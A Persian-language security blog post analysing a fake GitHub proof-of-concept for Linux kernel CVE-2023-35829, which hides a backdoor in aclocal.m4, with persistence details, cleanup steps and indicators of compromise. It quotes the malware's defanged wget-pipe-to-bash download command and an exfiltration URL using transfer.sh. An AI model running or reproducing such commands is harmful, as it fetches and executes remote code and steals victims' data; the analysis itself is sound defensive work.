محققای امنیتی برای تست بی خطر آسیب پذیری ها ،متکی به POC ها هستن. اخیرا بازیگران تهدید با انتشار PoCهای آلوده ، اقدام به توزیع بدافزار میکنن. در حقیقت این PoC ها ، گرگی در لباس میش هستن. حدود یک ماه پیش هم از این تکنیک برای توزیع بدافزار استفاده کرده بودن.
محققای Uptycs اخیرا یه نمونه از این PoCها رو پیدا کردن که در این پست به بررسی اون پرداختیم. متاسفانه این اکسپلویت در کانالهای ایرانی هم توزیع شده.
مشاهده PoC جعلی :
محققا در حال تست یه PoC برای آسیب پذیری حیاتی CVE-2023-35829 بودن که متوجه رفتار عجیب اون شدن. این آسیب پذیری از نوع use-after-free هستش و در کرنل لینوکس نسخه های قبل از 6.3.2 وجود داره.
رفتار عجیبی که مشاهده شده این بود که یسری اتصالات غیرمنتظره داشته، داده انتقال میداده و دسترسی غیرمجاز به سیستم داشته. با بررسی بیشتر متوجه مشکوک بودن فایل aclocal.m4 شدن.
فایل aclocal.m4 معمولا بخشی از automake هستش و توسط autoconf برای ادغام ماکروها استفاده میشه و معمولا یه فایل اجرایی elf نیست. شکل زیر نشون دهنده ساختار make و src/aclocal.m4 رو نشون میده .
ادامه تحقیق روی آنالیز این فایل اجرایی تمرکز داره. در حقیقت مهاجم از سورس کد بدافزارش میسازه و اجرا میکنه.
آنالیز بدافزار :
برای آنالیز از Ghidra استفاده کردن . تابع main با رشته جالب kworker شروع شده.
خط 79 بررسی میکنه که آیا اسم باینری kworker هستش یا نه . اگه درست باشه به خط 84 میره اما اگه درست نباشه، دو تا تابع copy_to_kworker و add_to_bashrc اجرا میشن. این دوتا تابع برای پرسیست و مخفی کردن فعالیت بدافزار اجرا میشن، اولی بدافزار رو به مسیر “HOME/.local/kworker$” کپی میکنه و دومی مسیر اونو داخل فایل “HOME/.bashrc$” اضافه میکنه.
در ادامه تابع check_for_pidfile اجرا میشه که هدفش اینه که بررسی کنه تا چندین نمونه از بدافزار بطور همزمان اجرا نشن. شکل زیر محتوای این تابع رو نشون میده .
این تابع در ابتدا مسیر “/tmp/.ICE-unix.pid” رو بررسی میکنه، اگه هیچ تابعی از flock(2) برای محدود کردن دسترسی به فایل استفاده نشده باشه، PID پروسس فعلی رو مینویسه. اگه تابع main مقدار صفر رو برگردونه، که نشون دهنده منحصر به فرد بودن پروسس هستش و برنامه به اجراش ادامه میده. اگه فرض کنیم همه چیز اوکی هستش به ادامه تابع main برگردیم :
با فورک کردن برنامه، رشته جدید [kworker/8:3] برای مبهم کردن پارامترهای اصلی کامندلاین در تابع main ایجاد میشه. در ادامه، پروسس والد تابع curl_func رو اجرا میکنه که یه URL مبهم رو با استفاده از کتابخونه libcurl دانلود میکنه. URL دانلودی در زیر مشخص شده که یه اسکریپت Bash هستش که بعد از دانلود موفق ، اجرا میشه.
1 |
hxxp[:]//cunniloss[.]accesscam[.]org/hash[.]php |
کتابخونه libcurl امکان دسترسی به curl رو بصورت برنامه نویسی شده میده و میشه بصورت مستقیم در باینری اینکلودش کرد (کامپایل استاتیک) یا بصورت داینامیک فراخونیش کرد.
شکل زیر نشون دهنده تابع curl_func هستش .
شکل زیر هم بخشی از تابع curl_func رو نشون میده که اسکریپت Bash رو دانلود میکنه.
متغیر s% با درخواست Curl جایگزین میشه که در نهایت دستور زیر توسط kworker اجرا میشه :
1 |
sh -c wget -q -O - http[:]//cunniloss[.]accesscam[.]org/do[.]php?u=$(whoami) | bash 2>&1 > /dev/null |
PoC قدیمی :
این PoC جعلی از روی یه PoC قدیمی قانونی برای آسیب پذیری CVE-2022-34918 که مربوط به کرنل لینوکس بود ساخته شده. جوری هم ساختن که خیلی شبیه به هم هستن اما در مواردی بخصوص در modprobe.c شاهد تفاوتهایی هستیم.
تابع new_sn در modprobe.c جعلی، یه حافظه ای رو تخصیص میده بعدش یه فایلی رو باز میکنه، اگه فایل با موفقیت باز بشه، اونو میبنده، یه عدد تصادفی ایجاد میکنه و اجرای برنامه رو به اندازه این عدد تصادفی متوقف میکنه.
در ادامه تابع prepare_root_shell یسری رشته رو چاپ میکنه و بعدش تابع setup_modprobe_payoad رو براساس شرط if اجرا میکنه . در نهایت با کد وضعیت 0 خارج میشه.
تابع setup_modprobe_payoad مقداری رو به متغیر filename اختصاص میده و بعدش دستور /bin/sh رو برای باز کردن یه shell جدید اجرا میکنه. بعدش حافظه اختصاص داده شده به filename رو free میکنه.
در کل PoC جعلی، برای یه مدت تصادفی متوقف میشه، یسری رشته قانونی چاپ میکنه و یه شل /bin/bash باز میکنه.
جالب اینکه وقتی whoami رو داخل این شل اجرا کنید، user ID رو بعنوان root گزارش میکنه. در حقیقت این root هم جعلی هستش. این با بررسی id در داخل و خارج PoC میشه فهمید. شکل زیر خروجی PoC جعلی هستش :
خروجی زیر هم خارج از PoC هستش :
همونطور که در دو شکل بالا مشاهده میکنید، user namespace بین دو تا شل متفاوت هستش.
Linux kernel namespaces امکان جداسازی منابع سیستم رو میده. هر کدام از اونا یه محیط مستقل برای منابع خاص مانند PID ، اینترفیس شبکه، سیستم های فایل و … رو فراهم میکنن. چنین جداسازی به جلوگیری از تداخل کمک میکنه و سطحی از امنیت رو بین پروسس ها یا مولفه های در حال اجرا روی سیستم رو فراهم میکنه.
در اینجا PoC جعلی از مفهوم فضای نام برای ایجاد یه root shell تقلبی استفاده میکنه. بطور کلی، فضای نام کاربری رو که مسئول مدیریت شناسه کاربر و گروه در یه پروسس یا container هستش رو دستکاری میکنه اما در واقعیت، امتیازات اعطا شده به شل /bin/bash ،در یک فضای نام مشخص محدود شده هستش.
بطور خلاصه باینری در مرحله اول بعنوان یه دانلودر عمل میکنه و یه اسکریپت Bash رو از یه منبع راه دور دانلود و اجرا میکنه. این اسکریپت در ابتدا به etc/passwd میخونه بعدش محتوای “ssh/authorized_keys./~” رو برای دسترسی غیرمجاز دستکاری میکنه تا بتونه به سیستم قربانی دسترسی بگیره و از curl برای استخراج داده های قربانی به transfer[.]sh استفاده میکنه. مثال زیر یه نمونه url برای استخراج داده ها هستش :
1 |
hxxp[:]//cunniloss[.]accesscam[.]org/term[.]php[?]term[=]hxxps[:]//transfer[.]sh/rnmWbQyyz8/<username>[.]txt |
دامنه ای که در این کمپین استفاده شده، الان در دسترس نیست و بنابراین نمیشه تجزیه و تحلیلش کرد.
علاوه بر این PoC ، کاربر ChriSander22 هم یه PoC جعلی دیگه برای VMware Fusion CVE-2023-20871 قرار داده که محتویاتش مشابه PoC جعلی هستش که در این مقاله بررسی شده و حاوی aclocal.m4 هستش که بکدور نصب میکنه. هر دو مخزن ChriSander22 دیگه الان نیستن و معلوم نیست که گیتهاب اونو حذف کرده یا مالک.
شکل زیر هم یه نمونه دیگه از یه صفحه گیتهاب جعلی رو نمایش میده :
روش پاکسازی :
متاسفانه همه PoCهایی که در این گزارش اومده در کانالهای ایرانی هم منتشر شده و خیلیا حتی لایکشم کردن. بنابراین اگه از این PoCها استفاده کردید و سیستمتون آلوده شده، برای پاکسازی اون مراحل زیر انجام بدید :
- کلیدهای SSH غیرمجاز رو پاک کنید.
- فایل kworker رو پاک کنید.
- مسیر فایل kworker رو از داخل فایل bashrc حذف کنید.
- محتوای /tmp/.iCE-unix.pid رو برای تهدیدات احتمالی بررسی کنید.
در نهایت تشخیص PoC جعلی از اصلی سخته و چالش برانگیزه، اگه نمیتونید کدها رو بررسی کنید، حداقل از یه محیط ایزوله مانند ماشین های مجازی برای تست PoCها استفاده کنید.
فایل نمونه :
برای دانلود فایل aclocal.m4 ، از صفحه گیتهاب ما دیدن نمایید.
iocهای گزارش :
صفحه گیتهاب pocهای جعلی :
https://github.com/ChriSanders22/CVE-2023-35829-poc/
https://github.com/ChriSanders22/CVE-2023-20871-poc/
https://github.com/apkc/CVE-2023-35829-poc
:
URLs:
hxxp[:]//cunniloss[.]accesscam[.]org
hxxp[:]//transfer[.]sh
IP 81[.]4[.]109[.]16